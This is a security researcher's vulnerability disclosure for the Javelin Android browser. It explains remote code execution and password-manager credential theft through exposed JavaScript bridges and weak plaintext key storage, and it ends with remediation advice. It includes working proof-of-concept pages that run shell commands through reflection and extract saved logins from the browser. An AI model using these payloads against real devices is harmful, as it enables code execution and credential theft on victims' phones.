Javelin Browser RCE and Password Manager Information Disclosure
There exists a number of third-party browsers in use on Android devices besides the stock browser and Chrome. PhoneArena provided a feature comparison and performance comparison of the “best” Android browsers in 2014, but I wasn’t familiar with a number of the browsers on the list so decided to take a look at the security of a few of them. The first one that I looked at named Javelin, previously known as Jerky due to its privacy features (not joking), and I identified that it was vulnerable to remote code execution due to improper use of the WebView addJavascriptInterface
function on Android devices running a version less than 4.2. On Android devices running 4.2 and above, it shouldn’t be possible to use reflection to instantiate arbitrary classes, and invoke arbitrary functions, but we can still abuse the injected Java objects to acquire the passwords stored in the browser’s password manager remotely.
Javelin’s minSdkVersion
is set to 14, so this browser will run on a variety of older Android devices and exploitation is trivial on devices running version 4.0 or 4.1 (API level 14 to API level 16). For example, assume that a user is tricked into browsing to the following malicious page using the Javelin browser. The following JavaScript code on the malicious page abuses the JavaScript bridge to execute the id
UNIX command as proof of concept. For a realistic exploit use the addJavascriptInterface
Metasploit module.
<html> <body> <script> function execute(cmdArgs) { return _speedDial.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } function getContents(inputStream) { var contents = ""; var b = inputStream.read(); var i = 1; while(b != -1) { var bString = String.fromCharCode(b); contents += bString; b = inputStream.read(); } return contents; } info = "<div style='font-size:30px;'>"; info += _speedDial + "<br/><br/>"; info += getContents(execute(['/system/bin/sh','-c','id']).getInputStream()); info += "</div>"; document.write(info); </script> </body> </html>
id
executed on a 4.0.4 device…
When Javelin is running on a newer Android device (4.2 and above), we have to get a bit more creative by inspecting each of the Java objects injected into the WebView in order to determine if there is some interesting functionality that we can abuse. In the com.nubelacorp.javelin.activities.BrowserActivity
class three JavaScript interfaces are setup named _passwordManager
, FindTextOnPage
, and _speedDial
as shown in the following code snippet. Obviously, a JavaScript interface named _passwordManager
is immediately interesting.
v0.addJavascriptInterface(new BrowserActivity$FindTextOnPageJSInterface(this, ((Context)this)), "FindTextOnPage"); v0.addJavascriptInterface(new BrowserActivity$PasswordManagerJSInterface(this), "_passwordManager"); v0.addJavascriptInterface(new SpeedDialJSInterface(this), "_speedDial");
_passwordManager
interface exposes two functions named fetchPasswordToRestore
and foundPasswordToSave
in order to support the password manager JavaScript code built into the browser. Note that both functions are marked with the @JavascriptInterface
annotation and therefore are deemed safe to invoke via JavaScript code.
public class BrowserActivity$PasswordManagerJSInterface { public BrowserActivity$PasswordManagerJSInterface(BrowserActivity arg1) { this.a = arg1; super(); } @JavascriptInterface public String fetchPasswordToRestore(String arg2) { return BrowserActivity.e(this.a).d(arg2); } @JavascriptInterface public void foundPasswordToSave(String arg3, String arg4) { this.a.runOnUiThread(new co(this, arg3, arg4)); } }
Further investigation reveals that passing in a URL to the fetchPasswordToRestore
function returns a JSON payload containing all the inputs required log into a site such as the username and password. Therefore an attacker can trick a user using the Javelin browser to visit to the following malicious page that extracts out the victim’s credentials associated with mail.com and google.com assuming that those credentials exist in the victim’s password manager. Given that there isn’t a fetchAllPasswords
style function exposed, the attacker might want to build a large array of potential target login URLs.
<html> <body> <script> loginUrls = ["www.mail.com/mailcom-mobile-webapp/servlet/standard/","accounts.google.com/ServiceLogin"]; info = "<div style='font-size:30px;'>"; info += _passwordManager + "<br/><br/>"; for(i = 0; i<loginUrls.length; i++) { creds = _passwordManager.fetchPasswordToRestore(loginUrls[i]); if(creds) { info += "<b>" + loginUrls[i] + "</b> : " + creds + "<br/>"; } } info += "</div>" document.write(info); </script> </body> </html>
Credentials acquired on a 4.4.1 device… On a sidenote, notice that the full class name and hash code associated with the injected Java object is no longer leaked by default.
For those interested in how the password manager stores the login URLs and credentials, the Javelin browser stores all the relevant information in two XML shared preference files located in the the application’s private data directory (/data/data/com.nubelacorp.javelin/shared_prefs
).
The passwordStore.xml
file contains the encrypted credentials. The browser uses the AES algorithm and the ECB mode of operation to encrypt the credentials. The details of the encryption can be found in the com.nubelacorp.javelin.activities.helpers.browseractivity.f
class. Ideally, ECB shouldn’t be used, but where are the encryption keys?
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="d46bd1bc16d066f70e0bdd5793447c2590aa56a830f2915a65a279844c53c456">gCFP7aVUChGDLR0ef4hTdL8sXmGLiRs39V1qOsakOfxP8VT2l9Dm915QzDxW9R5Doz9XDC1AyZnrrKzVoTI_3g==</string> <string name="b764b92d6b34157201a75cee42e041986c22b97445d95f741e6c34defeb010c5">gZDjZMOarLvRG4EKT3pUjAmisqTsH7ei1yXMS-0xxsm-7XNOQRkmvFcSukZuIfoLbG1Be0UPdEtcvFA6ivItPW9Tx50cSE2xh9O2KSwbo7g=</string> </map>
The encryption keys used to encrypt the credentials are stored in plaintext in the keyStore.xml
file.
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="d46bd1bc16d066f70e0bdd5793447c2590aa56a830f2915a65a279844c53c456">44f07d7e-a40c-4349-883e-efe4585b624e</string> <string name="b764b92d6b34157201a75cee42e041986c22b97445d95f741e6c34defeb010c5">1f5b6a6e-c79e-4e3c-8408-d59ae835473d</string> </map>
You’ll notice that the login URLs are not actually stored in plaintext either, but they are stored in a hashed form in the XML documents as the name attribute value. For example, if we pass in accounts.google.com/ServiceLogin
URL to the fetchPasswordToRestore
function, then the browser uses SHA-256 to produce b764b92d6b34157201a75cee42e041986c22b97445d95f741e6c34defeb010c5
. The browser can then look up the encryption key, which is f5b6a6e-c79e-4e3c-8408-d59ae835473d
or 31 66 35 62 36 61 36 65 2D 63 37 39 65 2D 34 65 33 63 2D 38 34 30 38 2D 64 35 39 61 65 38 33 35
in ASCII hex after the last four bytes have been removed. Then the browser can look up the cipher text which is gZDjZMOarLvRG4EKT3pUjAmisqTsH7ei1yXMS-0xxsm-7XNOQRkmvFcSukZuIfoLbG1Be0UPdEtcvFA6ivItPW9Tx50cSE2xh9O2KSwbo7g=
(non-standard base64 encoded) and decrypt the information using AES/ECB in order to acquire the following plaintext. The JSON payload contains all the relevant HTML input values required to submit to Google’s login page.
{"Email":"neiljavtest","Passwd":"SomePasswordHere123","signIn":"Sign in"}
Given that browsers need to support password management functionality its not surprising that Javelin needs to have access to the user’s credentials in plaintext, or in an obfuscated form. For a comparison of how desktop browsers store passwords check out this interesting blogpost by RaiderSec. Granted Javelin shouldn’t have implemented the password management functionality via a JavaScript bridge, since any malicious site could access the credentials associated with other sites or simply execute arbitrary code on older Android devices. Such functionality could have been implemented in a more secure manner via the WebViewClient
URL hooking functions since access control could have been performed based on the URL. Even if URL access control exists, then other security concerns remain such as the possibility of XSS exploits abusing the password manager.